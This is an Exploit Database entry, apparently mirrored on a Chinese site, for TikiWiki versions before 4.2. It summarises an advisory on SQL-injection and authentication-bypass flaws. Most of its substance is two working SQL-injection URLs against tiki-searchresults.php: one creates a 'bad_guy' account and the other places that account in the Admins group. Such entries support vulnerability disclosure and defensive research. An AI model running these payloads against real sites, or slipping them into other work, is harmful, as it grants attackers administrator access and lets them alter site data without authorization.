TikiWik < 4.2 - Multiple Vulnerabilities

• Exploit Database
• 195 阅读

• 作者： Mateusz Drygas
  日期： 2010-03-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33726/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

  source: https://www.securityfocus.com/bid/38608/info   TikiWiki is prone to multiple vulnerabilities, including:   - An SQL-injection vulnerability - An unspecified authentication-bypass vulnerability - An unspecified vulnerability   Exploiting these issues could allow an attacker to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and gain unauthorized access to the affected application. Other attacks are also possible.   Versions prior to TikiWiki 4.2 are vulnerable.   http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_users(email,login,password,hash) VALUES (&apos;&apos;,&apos;bad_guy&apos;,&apos;lsjfsofasgfs&apos;,md5(&apos;lsjfsofasgfslsjfsofasgfs&apos;));;--&search=>> http://www.example.com/tiki-searchresults.php?highlight=misja&date=1 month)); INSERT INTO users_usergroups (<code>userId</code>, <code>groupName</code>) VALUES([user_id],&apos;Admins&apos;);;--&search=>>